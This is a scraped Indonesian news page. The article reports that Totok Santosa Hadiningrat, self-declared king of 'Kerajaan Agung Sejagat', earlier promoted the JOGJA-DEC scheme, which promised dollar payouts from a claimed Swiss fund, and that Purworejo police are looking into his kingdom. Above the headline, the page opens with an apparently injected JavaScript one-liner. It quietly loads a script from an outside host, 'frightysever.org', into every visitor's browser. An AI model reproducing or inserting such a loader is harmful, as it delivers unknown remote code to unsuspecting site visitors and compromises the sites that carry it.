(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Bikin Kerajaan Agung Sejagat, Rajanya Dulu Bikin Heboh soal Duit Bank Swiss


KANALKALIMANTAN.COM, PURWOREJO – Totok Santosa Hadiningrat yang mengklaim dirinya sebagai pemimpin Kerajaan Agung Sejagat (KAS), ternyata dulu pernah membuat heboh Yogyakarta, karena menjanjikan uang ratusan Dolar AS tiap bulan. Uang itu diberikan melalui organisasi bernama Jogjakarta Development Committe (JOGJA-DEC).

JOGJA-DEC adalah organisasi kemasyarakatan dan kemanusiaan yang menjanjikan mendatangkan Dolar Amerika Serikat ke Indonesia untuk membiayai kegiatannya dan memberi kesejahteraan bagi bangsa Indonesia. Dilaporkan oleh Solopos.com -jaringan Suara.com, Sabtu 12 Maret 2016, Ketua Dewan Wali Amanat Panitia Pembangunan Dunia Untuk Wilayah Nusantara JOGJA-DEC, Totok Santoso Hadiningrat mengatakan, ada uang untuk kemanusiaan yang tak ternilai dalam bentuk USD.

Dolar AS itu diklaimnya masih tersimpan di salah satu bank negara Swiss yang disebutnya Esa  Monetary Fund alias EMF. Uang itu siap dikucurkan untuk membantu bangsa Indonesia masing-masing USD 50 juta sampai USD 200 juta per bulan, ditambah asuransi USD 100 ribu. Menurutnya uang itu merupakan hak bagi bangsa Indonesia. Namun untuk memperoleh uang tersebut harus memiliki register dan nomor keanggotaan di JOGJA-DEC.

“Nanti bisa dikirim tiap bulan lewat ATM atau lewat koperasi,” kata Totok. Untuk diketahui, Totok Santosa Hadiningrat alias Sinuhun bersama istrinya, Dyah Gitarja alias Kanjeng Ratu kekinian mendaulatkan diri sebagai raja dan ratu Kerajaan Agung Sejagat (KAS). “Kami muncul menunaikan janji 500 tahun runtuhnya kerjaan Majapahit pada tahun 1518,” kata Totok yang mengklaim diri sebagai Rangkai Mataram Agung dalam jumpa pers di ruang sidang “keraton”, Minggu (12/1/2020).

Totok juga mengklaim memiliki jumlah pengikut 425 orang dan terus bertambah. Mereka juga melakukan kirab berkeliling kampung. Kekinian, Kapolres Purworejo AKBP Indra Kurniawan Mangunsong mengatakan saat ini tengah mendalami soal kerajaan yang ramai dibicarakan tersebut. Ia sudah mengirim tim untuk menelusuri terkait keberadaan kerajaan Agung Sejagat itu.

“Kami sementara ini masih menelusuri soal kebenaran kerajaan itu. Apakah itu foto-foto yang ramai di media sosial hanya sebuah seremoni tradisi terkait nguri-uri kebudayaan atau memang ada maksud lain,” terangnya kepada SuaraJogja, Senin (13/1/2020). Lebih jauh, Indra menyebut dalam waktu dekat bersama-sama dengan pihak terkait dalam hal ini pemerintah daerah dan unsur-unsur yang bersinggungan akan melakukan pertemuan untuk memperjelas soal status kerajaan tersebut. (suara.com)

 

Editor : KK

Desy Arfianty

Recent Posts

Gunungan Sampah di Veteran Banjarmasin, Darurat Sampah Makin Menjadi

KANALKALIMANTAN.COM, BANJARMASIN – Darurat sampah di Banjarmasin sudah tak bisa ditolerir, keterbatasan titik kumpul sampah… Read More

6 jam ago

Sahrujani – Hero Setiawan Bertekad Membawa HSU Bangkit

KANALKALIMANTAN.COM, AMUNTAI – “HSU Bangkit!”, semangat itu terlontar saat Bupati Hulu Sungai Utara (HSU) H… Read More

6 jam ago

Kekosongan Kepala Daerah di Ibu Kota Kalsel

KANALKALIMANTAN.COM, BANJARBARU -  Posisi kepala daerah di Ibu Kota Provinsi Kalimantan Selatan harus diisi selambat-lambatnya… Read More

7 jam ago

Langkah Mundur Wartono dari Wawali Banjarbaru, Klaim Hindari Konflik Kepentingan PSU

KANALKALIMANTAN.COM, BANJARBARU - Tim Pemenangan pasangan calon Wali Kota dan Wakil Wali Kota Banjarbaru Lisa… Read More

9 jam ago

Bupati Sahrujani Kaji Pemberian Bunga Ringan Program KUR ke UMKM

KANALKALIMANTAN.COM, AMUNTAI - Kabar gembira bagi pelaku Usaha Mikro Kecil Menengah (UMKM) di Kabupaten Hulu… Read More

11 jam ago

Pererat Silaturahmi, Ketua TP PKK HSU Hadiri Pertemuan Rutin GOW

KANALKALIMANTAN.COM, AMUNTAI - Ketua Tim Penggerak (TP) PKK Kabupaten Hulu Sungai Utara (HSU) Hj Murniati… Read More

14 jam ago